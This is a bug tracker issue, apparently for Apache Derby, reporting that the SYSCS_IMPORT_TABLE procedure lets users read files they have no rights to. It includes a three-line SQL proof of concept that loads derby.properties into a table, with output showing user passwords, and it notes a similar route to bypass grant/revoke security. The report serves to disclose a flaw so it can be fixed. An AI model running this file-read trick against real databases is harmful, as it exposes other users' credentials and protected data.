Details
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Bug
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Status: Open
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Critical
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Resolution: Unresolved
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10.1.2.1, 10.2.1.6, 10.3.1.4
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None
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Normal
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Regression, Security
Description
There are no controls over which files SYSCS_IMPORT_TABLE can read, thus allowing any user that has permission to execute the procedure to try and access information that they have no permissions to do so. E.g. even with the secure-by-default network server I can execute three lines of SQL to view to contents of derby.properties, thus seeing passwords of other users, or the address of the ldap server.
create table t (c varchar(32000));
CALL SYSCS_UTIL.SYSCS_IMPORT_TABLE(NULL, 'T', 'derby.properties', NULL, NULL, 'ISO8859_1', 0);
ij> select * from T;
C
----------------------------------------------
derby.connection.requireAuthentication=true
derby.authentication.provider=BUILTIN
derby.user.SA=sapwd
derby.user.MARY=marypwd
Also a similar trick could be attempted against the actual data files, allowing a user to attempt to bypass grant/revoke security, especially no that binary data can be exported/imported.
Attachments
Issue Links
- relates to
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DERBY-2437 SYSCS_EXPORT_TABLE can be used to overwrite derby files
- Closed